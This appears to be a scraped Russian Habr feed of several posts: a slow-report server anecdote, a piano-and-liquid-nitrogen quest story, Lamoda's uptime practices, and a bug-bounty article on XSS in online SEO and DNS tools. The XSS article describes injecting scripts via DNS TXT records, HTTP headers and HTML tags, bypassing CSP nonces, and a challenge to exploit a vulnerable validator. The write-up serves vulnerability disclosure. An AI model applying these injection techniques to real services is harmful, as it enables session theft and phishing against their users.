Другой случай с обратной стороны, это когда ресурс ведет себя странно по отношению ко всем пользователям. У нас был заказчик, одна из функциональностей ресурса которого заключалась в том, чтобы предоставлять пользователям сгенерированные отчеты в виде DOC-файлов. Каждый такой отчет весил порядка 200 Мб, с картинками и таблицами. Забавным было то, что генерация отчета на сервере начиналась по нажатию кнопки на веб-странице. После этого сервер уходил в себя думать, генерил отчет и по готовности отсылал его одним куском, не нарезая на chunks, через HTTP file transfer, в рамках ответа на запрос. Шутка заключалась в том, что этот файл генерировался на сервере десятки минут. В какой-то момент наша служба поддержки получила от клиента заявку с просьбой увеличить время таймаута на обработку запроса на наш reverse proxy до 20 минут. Сначала люди не поверили своим глазам и пошли разбираться: как так, 20 минут на таймаут на запрос? Зашли на сайт, проверили, получилось именно так: с момента нажатия кнопки соединение продолжается 20 минут, после чего сервер наконец выгружает файл, и его можно получить. Экспериментальным путем скорее, даже трезвым оценочным взглядом стало понятно, что десяток пользователей, одновременно попавших на сайт, могут случайно устроить DDoS и полностью вывести сервер из обращения без какого-либо злого умысла, труда и затрат. И это не хабраэффект, когда десятки тысяч людей ломятся на инфоресурс одновременно, а сервер не может обработать их всех из-за нехватки производительности; здесь просто интересная история с ответами на запросы приводит к тому, что сервер не может так работать. Мы со своей стороны, конечно, порекомендовали делить файл на chunks, отправлять его кусочками, формировать отчеты в фоне и прочее.

В интернете есть ресурсы, которые работают по похожему принципу то есть, они by design уязвимы к атакам любой интенсивности и сложности организации. Вообще ничего не нужно, чтобы вывести такой сайт из строя. Есть API, работающие таким же примерно образом (тяжеловесные ответы, дорогие в обработке запросы к API, синхронная работа API). Сам факт этого приводит к тому, что DDoS-атаки случаются в разных местах даже без участия злоумышленников, хакеров, без всякой задней мысли. Когда мы сталкиваемся с такими ситуациями, мы стараемся консультировать заказчика насчет того, где у него странность в приложении и как ее можно исправить. И, конечно, пополняем свой паноптикум забавных архитектурных решений, которые мы ни в коем случае никому бы не рекомендовали имплементировать.

Буду рад ответить на любые вопросы их можно будет оставить в статье на Хабре или написать мне по контактным данным.

Ссылки для чтения:


Предыдущую расшифровку нашего эфира можно посмотреть тут, ещё больше наших спикеров по хэштегу #ruvds_расшифровка


Подробнее..

Рояль, азот и котик как это было

16.06.2021 12:16:05 | Автор: admin
Если кто-то пропустил, то с 24 по 28 мая мы реализовали проект под кодовым названием Рояль, азот и котик. И настало время рассказать о том, как мы всё организовали, с грязными подробностями, скандалами, интригами и расследованиями.

Сразу скажем, что это был, пожалуй, самый смелый и необычный проект для нашей компании.

Итак, наливайте в кружку кофе, смузи или ягер, и устраивайтесь поудобнее: впереди много гик-порно, мужиков с перфораторами и сварочными аппаратами, красивых девушек и, собственно, самого рояля Красный октябрь, который, как и полагается музыкальному инструменту Made in USSR, пережил падение и даже не расстроился (в прямом и переносном смысле). Чего не скажешь о капиталистическом ноутбуке

Всё началось с идеи. Ты никогда не знаешь, когда на тебя упадет рояль фраза, которая не один раз обыгрывалась в литературе и кинематографе и описывает гипотетическую ситуацию, когда происходит какое-то нелепое событие, которое, скажем так, вносит коррективы в планы главного героя.


Ок, а куда мы будем ронять этот рояль?


Очевидно, что ронять мы его будем на компьютер или ноутбук, так как речь идет о ситуации, когда под угрозой оказываются данные, хозяин которых не позаботился о цифровой копии в облаке. Чертежи, секретные материалы или резервная копия базы данных 1С: Бухгалтерии потеря этих данных уже обыгрывалась, и не один раз, как в фильмах, так и в страшных снах системных администраторов. Поэтому хотелось найти что-то свежее. И тогда мы схватились за идею, что это будет NFT-гифка с котиком, ценность которой стремительно растет.

Ну и вишенкой к этой истории станет любовная драма, которая разыграется с вашим гипотетическим другом (простым застенчивым программистом) и его девушкой властной, эмоциональной, импульсивной и доминирующей особой, в чьи коварные лапы попал ноутбук с гифкой. Долгая самоизоляция из-за коронавируса обнажила проблемы в не самых удачных союзах и отношениях между парами. По всему миру, в том числе и в России, выросло количество разводов, и этот вопрос поднялся в рейтинге актуальности на первые места. К тому же наш расчёт был и в том, что если и не у участников нашего квеста, то уж у их друзей или знакомых были какие-то эмоциональные переживания, связанные с расставанием с близким человеком, и эта история сможет вызвать более высокое вовлечение.

Итак, история придумана, основные инструменты подобраны, осталось дело за малым, весь этот план реализовать

Окей, гугл, как подвесить рояль к потолку?


Да, по этому запросу результатов катастрофически мало, поэтому придется делать всё самим.

В первую очередь мы сделали трехмерную модель всей сцены, чтобы оценить масштабы помещения, высоту, на которую надо будет повесить рояль, рассчитать ускорение, толщину тросов и прочее.


Визуализация помогла нам понять, как размещать камеры, как лучше крепить тросы, под каким углом развернуть рояль и где разместить жертву (ноутбук).

А что с помещением?


Самой сложной частью проекта оказался поиск подходящего помещения. Во-первых, нам нужен был стабильный интернет. Во-вторых, крепкий пол, который выдержит падение рояля. В-третьих, потолок высотой не менее 6 метров, на котором при этом можно будет закрепить это вс.

В голову приходили только строительные ангары, промышленные склады или заброшенные цеха. Вокруг мы построили бы декорации квартиры девушки и сносно вписались бы в легенду. Три location-менеджера, услышав наш бюджет и вышеописанные требования, глубокомысленно молчали. А когда слышали про наш план, что именно мы собираемся там уронить, вежливо заканчивали разговор и желали нам успехов в поисках.

И тут мы вспомнили о нашем друге, Алексее Горове, владельце студии Faraloft, в которой мы снимали уже несколько видео-проектов, и, не особо рассчитывая, позвонили ему. Хабр? Рояль? Жидкий азот? Разбить ноутбук? Ахаха, я в деле! ответил Алексей, и мы в очередной раз поверили в великую силу Хабра.

Оказалось, что он фанат Хабра, у него своя мини-ферма, где майнится крипта, и вообще он не против, чтобы в его легендарной студии произошла еще одна не менее легендарная история. А у него этих историй, поверьте, хватает.

Студия интересна тем, что она находится в бывшем гараже Госплана, спроектированном архитектором Мельниковым.


Сам Константин Мельников писал о своем творении так: Один глаз, смещенный с центра к высокому объёму административного корпуса с узким прорезом трубы, и я обрёл связь формалистического подхода с самой сущностью из мира прекрасного. Вобщем, идеальное место для такого авангардного арт-проекта, Константин Степанович оценил бы.

Ок, а что с роялем?


Найти в Москве поддержанный рояль было не сложно. Но когда речь заходила о том, чтобы он был в рабочем состоянии (нам нужно было, чтобы центральная октава была рабочей), тут все владельцы были не очень уверены в своих показаниях.

Наконец, нашелся один в Подмосковье (Электросталь), вполне вписывался в бюджет.

  • А он у вас в рабочем состоянии? спрашивали мы.
  • Да, две недели назад настраивали, говорила Валентина Ивановна, его владелица. Будьте с ним аккуратнее, пожалуйста!
  • Ну что вы, Валентина Ивановна! Будем сдувать с него пылинки! отвечали мы, стараясь сохранить благородные интонации в голосе.

К нам в студию он прибыл тщательно упакованный от царапин:


Как только мы его распаковали и перевезли в студию, поняли, что рояль отлично вписывается в интерьер:


Фабрика Красный октябрь (бывшая фортепианная фабрика Беккер) выпускала отличные музыкальные инструменты.
Немного из истории фабрики: В 1947 году на фабрике было создано конструкторское бюро, и в 1950-е о достоинствах инструментов Красный Октябрь заговорили в Европе. Сенсацией стало завоевание ленинградским роялем Гран-при на Всемирной промышленной выставке в Брюсселе в 1958 году, ведь прославленные Блютнер, Бехштейн и Стейнвей его и за конкурента не считали.
И да, качество рояля весьма добротное, после падения у него сломались только педали, две ножки и отлетела одна из клавиш, но при этом он даже не расстроился и на нем можно было продолжать играть:


После окончания проекта владелец студии Faraloft, Алексей Горов, отдал рояль на реконструкцию, так что наш герой еще будет радовать посетителей студии своим великолепным звучанием.

Ок, а как мы его подвесим к потолку?


Первый набросок схемы крепления рояля к потолку выглядел так:

За кадром остались пенные напитки RuVDS, без которых никак нельзя было разобраться.

Три года назад мы с командой Хабра участвовали в регате AFR, и оттуда взялась идея стянуть все тросы, удерживающие рояль, в одну консоль, которую на яхтах называют пианино (подробнее о той легендарной регате читайте тут.



Первый эскиз пианино выглядел так:


Эту консоль мы сварили из металлического профиля, и рядом со стеной закрепили лебедку, с помощью которой поднимали рояль.




Потолочный подвес сделали через балку, удерживающую крышу. Она железобетонная, поэтому спокойно выдержала рояль:

Алексей Горов (владелец студии Faraloft) монтирует строительные леса, без которых до балки было не добраться.


Простите, Валентина Ивановна, мы постарались не царапать ваш рояль

Тросы крепились за специальный поддерживающий каркас из нержавеющего профиля, прикрученного ко дну рояля:


Да, по расчетам рояль мог висеть и на одном из этих тросов. Но шоу у нас длится 5 дней, поэтому и тросов несколько:


С такелажем и консолью не всё получилось сразу. Пришлось поменять болты с 8-миллиметровых на 10-миллиметровые, потому что при тестах их кое-где начало гнуть. А на соединениях тросов пришлось добавить П-образные хомуты, потому что двойные плоские стяжки не справлялись.

Первое тестовое поднятие рояля:


Да, в кадре пусто, потому что многие из нас смотрели фильм Корабль-призрак и на всякий случай отошли подальше. Никто не захотел быть героем сиквела Рояль-призрак.

Чтобы снизить возможный ущерб от отлетающих тросов (в студии большие стеклянные окна), мы закрепили на концах малярные валики:


Сложно сказать, насколько они помогли, на замедленном видео видно, как трос с валиком спокойно отлетает в сторону крепления у потолка. Но была вероятность, что он вполне мог хлестануть в окно, закрученные волны троса намекают на это:


А что, если на рояле можно будет поиграть?


Идея дать пользователям возможность поиграть на рояле вызвала у всей команды проекта восторг.

Во-первых, это интерактив, потому что долго смотреть на висящий рояль не интересно, а вот удаленно сыграть на нем это сразу повышает вовлечение.

Во-вторых, это же квест, и рояль может стать одним из ключевых элементов. Можно будет сыграть нужную мелодию и получить доступ к одному из ключей. Про бонусный, 10-й ключ читайте в нашей инструкции по прохождению.

Параллельно мы начали думать о том, как организовать игру на рояле, и собрали на коленке прототип устройства на базе Arduino Nano и Raspberry Pi. В первом варианте у нас зажигались нужные лампочки адресной светодиодной ленты.


В конечном варианте мы добавили плату расширения с реле и два ряда соленоидов на фанерке:


Устройство собрано и готово ко встрече с роялем:


В финальном варианте это выглядело так:


Хотя сперва и была идея распечатать корпус на 3D-принтере, мы не стали прятать внутренности. Во-первых, чтобы оставить видимыми светодиоды, по которым нам будет понятно, работают ли основные узлы устройства или нет. А во-вторых, это же проект для Хабра, гик-порно и немного киберпанка:

Кадр из заставки сериала Мир дикого запада.

На сайте мы разместили клавиатуру, на которой нарисовали и цифры с нотами, что жирно намекало на то, что мы что-то там зашифровали:


Очевидно, что желающих проиграть свою мелодию будет много (за весь проект на рояле было проиграно около 2100 мелодий), поэтому мы реализовали механизм очереди через Telegram-бота. Участник проигрывал мелодию, она записывалась и передавалась ботом через API на Raspberry Pi. Пользователю сразу же после этого приходило первое оповещение с прогнозом времени воспроизведения, а затем, примерно за 20 секунд до того, как будет проигрываться запись, приглашение посмотреть этот момент вживую через трансляцию на сайте:


Участник переходил по ссылке и слушал, как его мелодия проигрывается в какой-то далекой московской квартире:


К слову, рояль играл не переставая, нам пришлось записывать несколько дублей для этого видео, чтобы найти паузу:


А что там с азотом?


Собственно, зачем вообще нужен был азот? Ну, во-первых, это красиво. А во-вторых, современные HDD делаются довольно прочными и вполне себе могут пережить такую незначительную неприятность, как падение рояля. Поэтому мы решили подойти к вопросу уничтожения NFT c котиком основательно и добавить в сюжет жидкий азот. Чтобы наверняка.

Для того, чтобы жидкий азот никуда не разлился, мы купили обычный душевой поддон и заварили у него сливное отверстие:


Резиновая пробка или герметик под действием азота могли бы довольно быстро разрушиться, поэтому Только сварка! Только хардкор!

Жидкий азот приехал к нам в обычной газели внутри которой размещался такой вот агрегат:


Да, судя по всему, одного из участников Дом 2 заморозили, чтобы реанимировать в 2035-м году и придать шоу новое дыхание:


Процесс переливки в жидкого азота в сосуд Дьюара:


В назначенный час мы, как и обещали, залили ноутбук жидким азотом:


Стоп-кадр за несколько миллисекунд до встречи с роялем. Видно, что от резкого охлаждения вспучилась панель ноутбука и клавиатура покрылась инеем:


А вот что стало с ноутбуком после заморозки и встречи с 500-килограммовым роялем:


Диск мы впоследствии вытащили, он действительно был целым, но данные на нем уже не читались, видимо, резкое переохлаждение всё же нарушило целостность печатной платы или микросхем. Ну штош, не самый дешевый способ избавиться от данных. Зато весьма зрелищный!

Итоги проекта и немного статистики:


  • 7635 уникальных посетителей заглянуло на сайт проекта.
  • 10 литров жидкого азота было вылито на ноутбук перед падением рояля.
  • 45 метров троса понадобилось для поднятия и удержания рояля.
  • 4 человека прошло квест до конца.
  • 2340 раз рояль проиграл мелодии участников проекта.
  • 113 раз рояль сыграл мелодию Чижик пыжик где ты был?


Хронология постов по проекту:


  1. Спаси котика из-под рояля
  2. Котики в NFT: революция в цифровом мире или хайповая пирамида?
  3. Рояль над котиком, день первый
  4. Хроники котика: брутфорс рояля, крыса-кун и деанон Оксаны
  5. Финал квеста и победители: особенности криогравитационного воздействия на портативные ЭВМ
  6. Hack the hackers: полное руководство по прохождению квеста
  7. Как организовать трансляцию на 5 суток (почти) без разрывов?
  8. Рояль, азот и котик: как это было <=== Вы сейчас здесь



Подробнее..

Неочевидные уязвимости онлайн сервисов. Часть первая

16.06.2021 16:13:28 | Автор: admin

Пожалуй, каждый второй программист хоть раз задумывался попробовать создать свой, если не стартап, то собственный онлайн сервис. Может быть, такой инструмент умел бы делать простые SEO-аудиты сайтов, помогал находить технические ошибки, упрощая жизнь вебмастерам или маркетологам.

А может быть, вы популярный хостинг? Хотите привлечь пользователей, используя около-тематический трафик создаете онлайн сервис который смог бы заменить целые серверные утилиты nslookup, dig, curl?! Звучит неплохо, но всё ли так хорошо с безопасностью пользователей?

Об интересных и неочевидных уязвимостях онлайн-сервисов поговорим под катом.

Важное отступление


Перед началом путешествия по барханам незащищенности, стоит отметить, что уязвимости рассматриваемых в статье сайтов уже закрыты. Однако, в сети есть еще множество сервисов, которые могут быть подвержены описанным уязвимостям поэтому приведенные в статье примеры нужно расценивать как инструкцию к самостоятельной работе над ошибками.
Некоторые сервисы, которые мы рассмотрим, разрабатывались профессиональными программистами, возможно, с привлечением специалистов по безопасности. Не стоит думать, что профессионалы не могут ошибаться.
Поиск уязвимостей проходил в рамках программы BugBounty. Все сайты, указанные во всех частях статьи, раскрыты с письменного согласия владельцев.
Ой! Прекратите! Чем опасен XSS в 2021??! Да и вообще, XSS не опасен. Не смешите читателей!
Кажется, верное утверждение. С внедрением CORS, X-XSS-Protection современные браузеры научились неплохо фильтровать XSS, вот только не все так гладко.

Любая XSS уязвимость, несет в себе идею возможности кражи Cookie данных для авторизации или переброски пользователя на фишинговый сайт например, для имитации окна ввода пароля. Эта статья как раз про то, что XSS всё ещё опасен, даже в Google Chrome.

Проверяем DNS записи или опасности утилиты Dig и NSLOOKUP в онлайн сервисах


Рассматриваемую здесь уязвимость можно расценивать как Stored XSS. Хоть хранимой она, в зависимости от архитектуры построения сервиса может не являться, вот только конечному пользователю будет совершенно непонятно откуда на странице взялся скрипт.

Если кто не знает, серверная утилита Dig (NSLOOKUP работает похожим образом) позволяет получить DNS записи любого домена. В интернете же, можно найти множество онлайн сервисов, которые используют эту утилиту у себя на бэкенде, а своим пользователям показывают результат её работы.

DNS записей существует несколько: A, MX, CNAME, SOA, TXT и другие. Мне стало интересно проверить возможности TXT записи что если здесь написать скрипт? Для проверки атаки нужен собственный домен.



Оказалось, помимо всевозможных символов DKIM и SPF подписей, в TXT запись можно написать обычный скрипт или полноценный html, с небольшими нюансами. Можно было бы подумать, что мой NS провайдер не экранирует спецсимволы, но нет так делать можно у всех.

Оказалось, помимо всевозможных символов DKIM и SPF подписей, в TXT запись можно написать обычный скрипт или полноценный html, с небольшими нюансами. Можно было бы подумать, что мой NS провайдер не экранирует спецсимволы, но нет так делать можно у всех.

Вот только сама схема эксплуатации не очевидна. Согласитесь, что написать скрипт в TXT запись домена, чтобы эксплуатировать XSS на ум сразу не приходит. Так и программисту, который выводит информацию со своего же бэкенда может показаться, что все в порядке тут нЕчего экранировать.

Положение ухудшается еще и тем, что утилиту Dig часто используют популярные хостеры и регистраторы, данные пользователей которых имеют повышенную ценность. А большинство таких онлайн-инструментов еще и генерирует прямую ссылку на результаты проверки.

На видео выше видим простую реализацию эксплуатации XSS уязвимости крупного хостинг-провайдера. Здесь пришлось немного изощренно подойти к вопросу реализации и вместо тега script, навесить код на событие onerror тегаimg.

Ребята из ukraine.com.ua закрыли уязвимость через 10 минут, после моего обращения в техподдержку. Быстрее, на моем опыте, пока не делал никто. Адекватная и профессиональная команда на всех этапах переговоров.

А что другие, спросите Вы? Например, ребята из Xtool тоже быстро исправили проблему и разрешили рассказать об этом в статье. Проблема здесь была в блоке DNS INFO:


Остальные сервисы, с кем удалось связаться, закрыли уязвимость в течении месяца, но запретили публиковать любую информацию о них. Другие, вообще не ответили и нет другой возможности рассказать им, как сделать уязвимость публичной.

Тем не менее, стоит отметить, что XSS уязвимости через TXT записи домена были (и могут быть) подвергнуты проекты масштабом на любой вкус от 200 тысяч до нескольких миллионов посетителей в месяц (по данным Similarweb), по всему миру.

Желаю всем владельцам онлайн инструментов быть максимально адекватными и рассматривать пользователей, рассказавших об уязвимости как друзей, но не врагов.

Странные HTTP заголовки в ответе сервера


Продолжим тестировать онлайн-сервисы что если передать скрипт в HTTP заголовке? Сколько сервисов будут экранировать заголовки сервера, выводимые на свой фронтенд из curl -I [host]? Давайте попробуем, назовем заголовок X-Test .


Многие SEO-анализаторы, помимо технической информации о сайте, выводят, в том числе и заголовки ответа сервера. Это проблема не только мелких анализаторов. Здесь, как и в уязвимости из прошлого раздела, не очевидной уязвимости со скриптом в HTTP заголовке были подвержены проекты разных масштабов.

Идея эксплуатации HTTP заголовка ответа сервера не лежит на поверхности, именно поэтому разработчики могли упустить попытки подобной XSS атаки. Так произошло и с SEO анализатором сайтов Seolik, владельцы которого любезно разрешили опубликовать этот кейс. Разработчики проявили серьезное отношение к безопасности и в режиме адекватного диалога очень быстро исправили уязвимость.

Можно справедливо заметить, что для безопасности исполнения скриптов стоит использовать Content Security Policy . Некоторые онлайн-инструменты использовали этот прием и отключали inline скрипты. Однако, это не сильно осложняло задачу эксплуатации уязвимости, ведь большинство сервисов пользуются внешними средствами аналитики трафика.


Перед началом использования счетчиков, на странице необходимо инициализировать их, например так script nonce="analytics". Чтобы этот код заработал, онлайн-сервис добавил в CSP: default-src 'nonce-analytics'.

Но безопаснее не стало ведь мы по прежнему можем передать через XSS over Response Header такую же конструкцию скрипта. Браузер будет считать чужой скрипт местным.

Пишем скрипт в HTML теги


Согласитесь, писать скрипт в тег заголовка страницы неочевидное решение для попытки эксплуатации XSS. Но оно работает. Исследовав небольшую часть онлайн-сервисов, становится понятно, что не все экранируют содержимое HTML тегов: title, h1, description и других.

Разработчики популярного сервиса поисковой аналитики Topvisor тоже упустили нашу маленькую шалость и вывели содержимое тега title на страницу отчета анализа сайта.

Здесь, очень полезная функция ТопВизора Поделиться результатом анализа играет нам на руку ведь мы получаем прямую ссылку на эксплуатацию XSS уязвимости через вывод содержимого HTML тегов. Также стоит отдать должное отношению к безопасности разработчики связались в тот же день и сразу закрыли уязвимость.

Ситуация повторяется в популярном онлайн-сервисе для SEO-аудита PR-CY. Здесь также, в инструменте проверки Open Graph разметки, не экранировались значения полученные с исследуемого ресурса. Для удобства пользователей генерировалась прямая ссылка на результат что конечно на руку атакующему.

Администраторы PR-CY исправили баг в течении часа после обращения в поддержку, за что им спасибо. А еще через некоторое время предложили провести дополнительный аудит других проектов.


Неожиданные уязвимости популярных онлайн-инструментов


Пожалуй, в этой главе будет история об одной, точнее о нескольких наиболее неожиданных уязвимостях популярных онлайн-сервисов, один из которых за авторством W3C. История, которую можете попробовать написать сами.

Нет. Писать текст не придётся. Здесь не будет NFT котиков и рояля на тросах, но будет небольшая головоломка. Предлагаю читателям как можно скорее найти и раскрыть все варианты одной XSS уязвимости онлайн-сервиса от W3C который называется "Unicorn".


Официально, уязвимость на W3C уже исправлена, но специально для читателей этой статьи я развернул на своем сервере уязвимую версию Unicorn Validator. Чтобы хоть как-то усложнить задачу, вам придется самостоятельно разыскать адрес моего онлайн-сервиса. А еще есть арбитр, который сможет ответить на некоторые вопросы если вы окажетесь совсем в тупике и подскажет удалось ли найти все решения головоломки.

Решением можно считать найденные, как минимум, 3 разных способа эксплуатации XSS уязвимости Юникорна (должны быть разные варианты скрипта и разные теги страницы). Варианты точно не очевидные, но очень простые и из статьи легко понять направление поиска. Минимально, в валидаторе должен сработать alert с любым текстом из вашего скрипта.

Пока вы решаете головоломку, я подготовлю вторую часть статьи с объявлением лучших решателей и подробным описанием уязвимостей популярного продукта W3C Unicorn и еще нескольких онлайн-сервисов, аудитория которого превышает несколько миллионов посетителей в месяц (по данным SimilarWeb).


Подробнее..

4 часа и ни минутой больше тактика и стратегия Uptime

11.06.2021 12:20:14 | Автор: admin

Привет, я Владислав Алмазов, директор по сопровождению информационных технологий (IT Operations) в Lamoda. Одно из направлений, за которое я отвечаю uptime. Это количественный показатель непрерывной работы нашей платформы.


Дать возможность клиенту найти товар в каталоге, положить его в корзину, выбрать способ доставки, рассчитать скидки и оплатить все это значит оформить заказ. Одноименная кнопка доступна на сайте 99,95% времени в году. Оставшиеся 0,05% это 4 часа в год, которые клиенты не замечают. Эта метрика отражает основное бизнес-требование к непрерывности самых критичных IT-систем. Час простоя для Lamoda это потери десятков миллионов рублей.


По итогам прошлого года мы превысили план и наш uptime составил 99,96%. Дальше я расскажу, за счет чего это удалось.



Основная задача IT Operations непрерывность бизнеса. В составе моего отдела работают пять технических направлений. Два из них глобальные саппорты для всей компании, которые отвечают за техническую поддержку сотрудников, офисов, складов, сети доставки и контакт-центров.


Еще три направления занимаются инфраструктурой:


  • информационная безопасность (ИБ) отвечает за техническое обеспечение информационной безопасности, ее аудит и контроль;
  • телекоммуникации и датацентр обеспечивают бесперебойную работу всего железа и телекоммуникаций, в том числе телефонии и корпоративной сети в датацентрах, офисах и контакт-центрах;
  • DevOps отвечает за инфраструктуру прода и QA, непрерывную доставку кода на прод и бесперебойную работу этого самого прода.

Рецепт uptime


Как и у всех, у нас случаются инциденты. Чтобы уменьшить их последствия, мы создали команду управления инцидентами, в которую входят представители разных отделов. Они круглосуточно мониторят состояние датацентра, сетевых каналов связи и компонентов серверных платформ, работу приложений и бизнес-логики, а также собирают все логи с наших систем, смотрят на графики и реагируют, если что-то пошло не так. Система мониторинга позволяет оперативно и даже проактивно реагировать на инциденты. За минуту она способна оповестить всех дежурных, которые назначаются по всем компонентам системы.


Основной показатель это время реакции. Например, время реакции на критический инцидент не более 5 минут, но чаще все происходит мгновенно, благодаря автоматизированной системе оповещений. В случае инцидента она дозвонится до дежурного, и при необходимости проведет эскалацию. Мы доплачиваем за такую работу, поэтому дежурные всегда на связи. Например, они никогда не отправляются в пятницу в бар без ноутбука :) Система работает хорошо, и пока у нас нет необходимости в создании круглосуточной системы дежурств в офисе, например, полноценного SRE это экономически необоснованно.


Обычно дежурят команда Devops, сетевики, безопасники, а также разработчики, так как часто для решения инцидента необходим hotfix. Мы умеем делать hotfix за считаные минуты и выкатывать его на прод, соблюдая все необходимые процедуры и сохраняя возможность сделать rollback. Это помогает нам сохранять высокие показатели uptime.


У нас много расписаний дежурств. Первая линия поддержки работает круглосуточно и первая же реагирует на любые инциденты. Вторая линия сопровождает бизнес-системы, доставку и офис.


У Devops две команды дежурных: одна отвечает за uptime всех платформ онлайн-магазина, которые работают на Linux, а вторая занимается Windows-платформами, например, Active Directory. Дежурные ИБ (SecOps), отвечают за сегментацию сети и инциденты информационной безопасности, а также за управление доступами (IAM). Дежурные сетевые инженеры за сеть в ЦОД и распределенные сети. Дежурные разработчики отвечают за наборы микросервисов, в которых они обладают техническим лидерством.


Мы соблюдаем стандарты информационной безопасности NIST-800 и PCI DSS. Основные компоненты платформы изолированы друг от друга: нет открытой связности между 170 микросервисами онлайн-магазина, а также между другими системами, например ERP и платформой данных и аналитики. Следование таким стандартам позволяет нам снижать риски влияния угроз ИБ на наш uptime.


Команда информационной безопасности отвечает в том числе за сегментацию сети. Наш периметр защищен от DDoS и направленных атак. Ежегодно мы проводим тесты на проникновение, а также работаем с программой Bug Bounty, которая в этом году официально станет публичной на данный момент исследователи (белые хакеры, которые взламывают системы по заказу самой компании) работают по приглашению.


Если говорить о технических мерах, которые помогают нам пассивно бороться с инцидентами, то это, конечно, физическое резервирование. Датацентр отвечает за все, связанное с электропитанием, охлаждением и физической безопасностью. Все системы продублированы и это подтверждено сертификатом TIER III. Как-то раз в разных частях нашего датацентра на расстоянии 30 метров в течение часа были повреждены два ввода питания, и мы фактически полтора дня работали на дизельном электрогенераторе. На работу это никак не повлияло, и все оборудование функционировало в штатном режиме.


Сети, каналы связи и оптоволокно у всего есть дубли. Можно взять любой кабель в датацентре, выдернуть его и ничего не произойдет все продолжит работать в штатном режиме. Мы регулярно проводим учения и тестируем систему.


Вообще, мы очень любим темное волокно это относительно недорого и надежно. Например, у нас два канала волокна по 10 gbps до центрального офиса, фотостудии, сервиса защиты от DDoS, распределительного центра и других объектов. Также у нас есть своя автономная система (AS) и два блока провайдеронезависимых адресов, что позволяет подключаться к интернету у разных провайдеров и иметь пиринг на площадке MSK-IX со скоростью 10 gbps. Тут у нас стопроцентный uptime.


Что нужно, чтобы все работало


Достигать высоких показателей нам помогает резервирование сетевого оборудования: кластер ядра сети, кластеры фаерволов, по два top-of-rack коммутатора, четыре пограничных маршрутизатора. Также у нас есть протоколы отказоустойчивости, например, LACP и протоколы динамической маршрутизации EIGRP и BGP.


Выбор железа еще один важный фактор, влияющий на uptime. Мы ориентируемся на качественных вендоров, оценивая их надежность и способность к непрерывной работе. Наша сеть построена на базе Cisco, что позволяет достигать максимальных уровней uptime железа годами.


Система резервирования вычислительных ресурсов построена на гипервизорах, поэтому выход из строя одного сервера приводит к переводу всех виртуальных машин на другой. То же самое относится и к хранилищу данных, где мы используем CEPH.


На следующем уровне работы наших приложений, которые относятся к онлайн-магазину, все крутится в Docker и управляется Kubernetes, у которого высокий уровень отказоустойчивости. Тут могут быть лишь секундные потери, если ноды выйдут из строя. В качестве сетевого решения, а также для обеспечения сегментации микросервисов, мы используем Calico. У всех подов есть маршрутизируемые адреса, которые анонсируются по протоколу BGP (Border Gateway Protocol) в корпоративную сеть. Все микросервисы для обмена между собой работают по правилу deny-any-any, поэтому у нас тысячи строк yaml-конфигураций фаервольных правил, а каждый новый микросервис проходит строгую проверку ИБ.


Часто именно базы данных (DB) становятся точкой отказа и могут повлиять на uptime. Наша платформа построена так, что в определенный момент времени есть только одна Master DB, с которой работает конкретное приложение. Но также есть еще от одной до шести Slave DB, у которых есть полная копия Master, но они работают только на чтение. В результате помимо распределения нагрузки, у нас присутствует избыточность данных, в том числе в целях реализации плана непрерывности бизнеса (BCP/DRP).


Для автоматического переключения в случае отказа Master DB мы используем решение Patroni, которое все делает автоматически. Это позволяет снизить downtime до минимальных значений. Был случай, когда до внедрения системы резервирования, сервер, на котором крутилась одна из критических баз данных, вышел из строя. Это случилось в полночь и нам потребовалось всего 9 минут на решение этой проблемы. Три минуты ушли на реакцию инцидент-менеджера, системы мониторинга и подъем дежурного инженера DevOps. Шесть минут ушло на подключение к сети, оперативный анализ ситуации на основе уже имеющихся данных мониторинга и переключение на Master DB.


Не наступать второй раз на одни и те же грабли помогает глубокий post mortem анализ. Мы детально разбираем каждый случай: определяем масштаб проблемы, хронологию событий и системы, которые были вовлечены, затем проводим анализ действий и вводим превентивные меры.


Мы внимательно следим за нагрузкой нашей платформы, регулярно проводим нагрузочные и деградационные тестирования. В обычное время мы готовы выдержать трехкратную нагрузку от максимальной дневной, а в период акций, например, во время Black Friday, мы масштабируем платформу до возможности держать шестикратную нагрузку.


4 часа тишины


И тут вы спросите меня, где же прячутся эти четыре часа в год вашего downtime? Примерно половина, то есть два часа это устранение проблем с багами в инфраструктурном софте и отказы железа. Тут, как правило, все решает перезагрузка и последующий анализ инцидента.


Еще четверть инцидентов или один час последствия bad release, когда некачественно протестированный код попадает в прод. У нас выстроен серьезный процесс разработки, который проходит code review, unit- и интеграционные тестирования в автоматическом и ручном режиме. Перед релизом мы отправляем все на препрод: софт полностью обкатывается на продуктовых данных и только потом попадает в прод. Релизов может быть несколько штук в день, и в таком потоке случаются неожиданные неприятности.


И еще один час downtime это человеческий фактор. Был случай, когда наш новый инженер по информационной безопасности, выполняя достаточно рутинную операцию, внес в конфигурацию файервола ядра некорректное правило фильтрации. Это привело к остановке всего трафика в датацентре. Благодаря системе оперативного мониторинга изменений, мы выяснили причину и пофиксили это за 25 минут, а инженер даже не понял, что по его вине произошел инцидент, так как он случился с задержкой во времени. После этого появилось правило 4eyes-review. То есть все подобные изменения катятся не в одни руки, а только двумя инженерами совместно, как и во многих других процессах.


Чтобы избежать downtime, все инфраструктурные изменения проводятся через так называемый RFC (Request for change). Этот набор правил касается выкатки на прод: чтобы внести изменения в инфраструктуре, инициатор описывает план действий, получает подтверждение другого инженера, и обозначает downtime в минутах. Для таких изменений мы выделяем определенное временное окно. Если нужно обновить софт на ядре и это приведет к downtime в 10 минут, то я согласую время с 4 до 6 утра. В это время происходит минимальное количество заказов, соответственно, импакт для бизнеса будет меньше.


RFC проводится несколько раз в неделю, чтобы минимизировать downtime. Тут у нас строгая дисциплинa: если все же downtime возможен, то он по факту он не должен оказаться выше, чем планировалось. Это учит грамотно оценивать уровень риска и не занижать его, даже если его вероятность 0,01%. От того, насколько мы уложились в прогноз, зависит и наш KPI.




Напоследок скажу, что работа над uptime это непрерывный процесс, требующий внимания, с учетом того, что любая онлайн-платформа растет и развивается очень быстро. В основном, управление инфраструктурой и рисками, кроме влияния на time-to-market, не зарабатывает деньги для бизнеса, но позволяет контролировать его расходы, снижая издержки и предотвращая резкие влияния серьезных инцидентов на финансовые показатели компании.

Подробнее..

Recovery mode Антирекламный щит рядового пользователя Яндекс без дзена, YouTube без рекламы, Хабр без баннера

12.06.2021 12:08:35 | Автор: admin

